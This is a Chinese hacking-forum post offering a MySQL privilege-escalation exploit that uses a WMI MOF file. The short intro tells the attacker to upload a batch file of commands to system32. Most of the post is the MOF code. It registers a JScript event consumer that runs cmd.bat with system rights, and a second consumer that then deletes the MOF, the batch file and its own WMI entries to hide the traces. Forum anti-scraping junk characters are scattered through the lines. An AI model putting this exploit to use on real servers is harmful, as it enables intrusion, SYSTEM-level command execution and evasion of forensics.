找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2049|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
( n, c) w* \3 V+ L% H/ @4 a需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 Y3 Q7 t6 Z2 c) H0 _5 y8 V
+ G4 N4 _) C1 Q' B这个sql提权MOF需要运行 system下的文件,不能定义路径。
' r: H* q) I5 L! t7 v9 ~3 m需要将要运行的命令写入到bat上传到system32目录,然后执行。9 a6 N& `5 m" x' u0 ?4 G- X6 s

, h  s0 I1 Q" t8 x# I# u. |#pragma
+ l" I9 ~! l$ w8 `+ u# `6 \                        namespace("\\\\.\\root\\cimv2")9 I' n. e0 e( N7 ^: U2 f. O
                        class
- g; E% K! Q- @# e/ W1 d( }                        MyClass5475 ~4 E/ T4 t4 @. L# m
                        {           [key]. q+ V+ P( I' ~" B6 i4 @* H# x( w  A
                        string
- z6 d5 M: b7 I1 v, T5 d8 s                        Name;
/ k" l  O# i& g  w7 k) ]                        };
" _0 X/ r, S9 R# b8 A2 s2 Q8 o                        class3 J2 m$ O" ]+ A% m5 U5 o/ S
                        ActiveScriptEventConsumer9 W; j' v! I! I3 f3 V0 t
                        : __EventConsumer {          [key], D( u& M1 F& g) s: Y
                        string
! }3 l, q3 {' M/ j                        Name;           [not_null]
! ]1 [; P; i- L( l# t- v                        string# z+ [: a! e& S# v8 J& a
                        ScriptingEngine;           string
$ z4 d7 L; R& o                        ScriptFileName;           [template]
' q# f) c% }' w9 C: ]6 s8 i2 U1 J                        string
  r2 V0 `% m+ R1 }# m  Q                        ScriptText;         uint32 KillTimeout;* S  A  p% t* ?4 s1 r" {: S
                        }; instance of __Win32Provider as $P {( V3 C, _, ?$ g8 a0 I2 k
                        Name2 \& F1 w# }4 O7 \% U
                        =
. \- o/ K, t0 A                        "ActiveScriptEventConsumer";     CLSID =+ h7 P: v0 K+ F& }8 _+ t% i' s
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";/ g; p! l3 {( Q& h! f% a$ b
                        PerUserInitialization
( Y. A9 ]1 A+ `6 J. r                        = TRUE;
9 D' ~# i$ h* s9 M  D; F  C9 e                        }; instance of __EventConsumerProviderRegistration {         Provider
4 d9 a5 E9 E0 X. |$ n7 e$ i" J                        = $P;         ConsumerClassNames
# ?7 D/ E$ Z- e( a; I. p                        =
$ ]3 z# ~: G, L                        {"ActiveScriptEventConsumer"};
6 V8 [6 E. M& z) p/ w2 L                        };
. B* b* B  q5 z: ^" V  r                        Instance of ActiveScriptEventConsumer
8 y/ e0 M: n" j+ z/ O( F                        as $cons {         Name
0 E2 s: a. ~/ q. C! ^/ m) l                        =/ G3 h! S, |5 m' t8 m: [
                        "ASEC";         ScriptingEngine
$ H' h' N& E5 w/ d$ y) Z% b# w                        =% V4 V# q/ C6 V6 y9 U* Z- Q9 F  B  Y
                        "JScript";         ScriptText# Z, ]% P4 ~- m( B7 U0 O3 o
                        =5 L; N: R: ]2 c$ c* ^% ~5 A
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
/ b) g; \2 p2 e) f% W                        Instance of ActiveScriptEventConsumer5 W/ @$ g1 i* b$ z4 }2 ?
                        as $cons2 {         Name. I* _9 E* T: q5 z! J: Y! `' d
                        =
# E- ~1 |, Q6 d* b                        "qndASEC";         ScriptingEngine
6 Q% t: T0 R4 e1 z; M! m& q  U                        =* a, t+ C# R, J9 V& Y5 d
                        "JScript";         ScriptText$ q! c7 l; v) O5 S' I' t% S
                        =( {6 I, A; D6 c
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
: V  a% E9 b  ~0 S& c$ r                        }; instance of __EventFilter as $Filt {         Name
4 X3 ?& n# H& S8 s% U( n) F                        =; G$ r% [& |4 k' H) R: ^8 |/ q
                        "instfilt";         Query
4 w( z, D- q4 ~9 K                        =! M9 o7 P: i& f6 y2 A: ]) F
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
: W8 d. v( U7 u7 X$ L/ i                        =
, p1 n& I  \/ l) n  _/ [- u; B5 |                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
/ t! M$ H0 b5 K8 @  E9 [                        =* {1 S) J  j- D- c
                        "qndfilt";         Query# {7 g# \+ q* n, ~0 g+ v
                        =" B) _: V7 q6 n9 p
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage: t; v# Q4 a4 p& d3 N3 i
                        =
* T4 w- ^) }7 c                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer9 j# P2 I7 V/ a' o/ k2 B
                        = $cons;         Filter; R, B( V* a5 _, K
                        = $Filt;. g+ v1 y# s  W/ g1 w* Y
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
$ R% V* U4 `! W6 A& D: F/ I                        = $cons2;         Filter1 `. Y8 m% _4 W7 j( U& v
                        = $Filt2;7 V9 ]2 H* Q; L2 v6 m8 e- o! `
                        }; instance of MyClass547
/ d: H' y9 H1 v! G                        as $MyClass {         Name
$ `  {( C. r1 O: L. ~+ e' `; _' K* L                        =( d+ o3 b, H0 P: Q" X
                        "ClassConsumer";
  J8 u8 g! h5 L                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表